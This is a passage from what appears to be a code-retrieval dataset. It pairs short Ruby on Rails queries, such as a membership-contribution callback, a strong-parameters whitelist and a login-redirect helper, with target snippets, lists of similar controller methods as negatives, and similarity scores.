redirect_to user_project_path(@collaboration.project.author_id, @collaboration.project_id),\n notice: \"Collaboration was successfully destroyed.\"\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @membership = Membership.find(params[:id])\n auth!\n respond_to do |format|\n #throw a negative one at a function expecting a membership level to indicate deletion\n if @membership.can_resign_leadership?(-1)\n process_notification(@membership, {:group_name => @membership.group.name}, :action => 'destroy', :owner => current_user, :recipient => @membership.user)\n if @membership.destroy\n format.html { redirect_to({:controller => :groups, :action => :edit, :id => @group}, :notice => t(:member_removed)) }\n format.xml { head :ok }\n else\n format.html { redirect_to @group, :notice => t(:membership_denied) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def destroy\n @open_source_contributor.destroy\n respond_to do |format|\n format.html { redirect_to open_source_contributors_url, notice: 'Open source contributor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @club = Club.find(params[:id])\n @club.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def deleteEntityAssociation_membership( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/association_membership\",params)\n end", "def destroy\n @personaje_mision = PersonajeMision.find(params[:id])\n @personaje_mision.destroy\n\n respond_to do |format|\n format.html { redirect_to personaje_misions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @clnmember = Clnmember.find(params[:id])\n @clnmember.destroy\n\n respond_to do |format|\n format.html { redirect_to clnmembers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @companion.destroy\n respond_to do |format|\n format.html { redirect_to companions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @community.destroy\n respond_to do |format|\n format.html { redirect_to communities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_interest.destroy\n respond_to do |format|\n format.html { redirect_to student_interests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @social_concern.destroy\n respond_to do |format|\n format.html { redirect_to social_concerns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @commission.destroy\n respond_to do |format|\n format.html { redirect_to commissions_url, notice: 'Commission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # @community.destroy\n respond_to do |format|\n format.html { redirect_to communities_url, notice: 'Community was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mision_mision = MisionMision.find(params[:id])\n @mision_mision.destroy\n\n respond_to do |format|\n format.html { redirect_to mision_misions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cr_committee_member.destroy\n respond_to do |format|\n format.html { redirect_to cr_committee_members_url, notice: 'Cr committee member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @visitante_credenciado = VisitanteCredenciado.find(params[:id])\n @visitante_credenciado.destroy\n\n respond_to do |format|\n format.html { redirect_to visitante_credenciados_url }\n format.json { head :no_content }\n end\n \n end" ]
[ "0.73390275", "0.72188705", "0.7212978", "0.7210668", "0.7210668", "0.7193398", "0.7193253", "0.71769303", "0.71652806", "0.71325195", "0.71325195", "0.7132139", "0.71162033", "0.70957476", "0.7081842", "0.70556927", "0.7054126", "0.70502704", "0.7048006", "0.6959316", "0.69443154", "0.6943537", "0.6898453", "0.68815833", "0.6881207", "0.6839719", "0.6806857", "0.6795463", "0.6793516", "0.6779638", "0.67354834", "0.67261213", "0.67247576", "0.6718295", "0.6710292", "0.66920424", "0.66802824", "0.6673491", "0.6666247", "0.6659659", "0.6652594", "0.664505", "0.6643484", "0.6638155", "0.66291", "0.66158664", "0.6600317", "0.65948385", "0.6589222", "0.65737385", "0.6564001", "0.6563477", "0.655496", "0.6551216", "0.6543105", "0.6514963", "0.65095365", "0.6502045", "0.6482574", "0.6467655", "0.6464472", "0.6463164", "0.64625645", "0.64547265", "0.64545184", "0.64545083", "0.64489365", "0.643221", "0.6421462", "0.64069134", "0.6406064", "0.6405918", "0.6405053", "0.6400304", "0.6398625", "0.6380482", "0.63696784", "0.6367091", "0.6363895", "0.63559467", "0.63508123", "0.63486487", "0.63467264", "0.634368", "0.6328606", "0.63254404", "0.6325248", "0.63175106", "0.6316838", "0.6302444", "0.63006353", "0.62931633", "0.6288528", "0.6287366", "0.62825733", "0.6281539", "0.6273223", "0.62727296", "0.62721556", "0.62713546" ]
0.79422396
0
Use callbacks to share common setup or constraints between actions.
def set_membership_contribution @membership_contribution = MembershipContribution.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def membership_contribution_params params.require(:membership_contribution).permit(:membership_id, :date, :amount) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
TODO need to decide if this is necessary anymore. It is part of the code that handles logging in a Schoology user when the portal is running in an iframe. If we keep this code, it needs to be fixed to handle redirecting after login when a logged out user tries to access a restricted page. The other parts of this code are in: automatically_closing_popup_link.js and _header_login_box.html.haml
def auth_after url = session[:auth_redirect] || root_path redirect_to url end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def login_popup\n session[:redirect_to_after_auth] = request.env['HTTP_REFERER']\n @login_form = LoginForm.new\n render :layout => \"blank\"\n end", "def login_and_get_initial_page(user_name, password)\n login_page = retrieve_url(\"https://my.idc.ac.il/my.policy\")\n # Check if moved to error page already, and return to main page.\n if login_page.uri.to_s == \"https://my.idc.ac.il/my.logout.php3?errorcode=19\" || login_page.uri.to_s == \"https://my.idc.ac.il/my.logout.php3?errorcode=19\"\n @scrape_logger.info(\"#{__method__} - arrived session TO page on login. Clicking link to return...\")\n puts \"#{__method__} - arrived session TO page on login. Clicking link to return...\" # to do remove\n login_page = login_page.link_with(:text=>\"click here.\").click\n end\n if login_page.uri.to_s != \"https://my.idc.ac.il/my.policy\"\n raise \"failed_to_reach_login_page_exception uri:#{login_page.uri.to_s}\"\n end\n login_form = login_page.form(\"e1\")\n if nil == login_form\n raise \"couldnt_find_login_form_exception #{}\"\n end\n \n login_form.username = user_name\n login_form.password = password\n user_home_page = agent.submit(login_form, login_form.buttons.first)\n # to do - make a better login check, like looking for the login error message\n # maybe look for some contents inside too\n if user_home_page.uri.to_s != \"http://my.idc.ac.il/idsocial/he/Pages/homepage.aspx\"\n raise \"couldnt_login_form_exception uri:#{user_home_page.uri.to_s}\"\n end\n \n return user_home_page\n end", "def sign_in_and_redirect!\n set_user_session_from_oauth\n set_user_cookie\n\n url = if params[:state] == \"popup\"\n Exvo::Helpers.auth_uri + \"/close_popup.html\"\n elsif params[:state] # if not popup then an url\n params[:state]\n else\n session[:user_return_to] || \"/\"\n end\n\n redirect_to url\n end", "def login\n self.class.trace_execution_scoped(['Custom/login/find_user']) do\n @u = 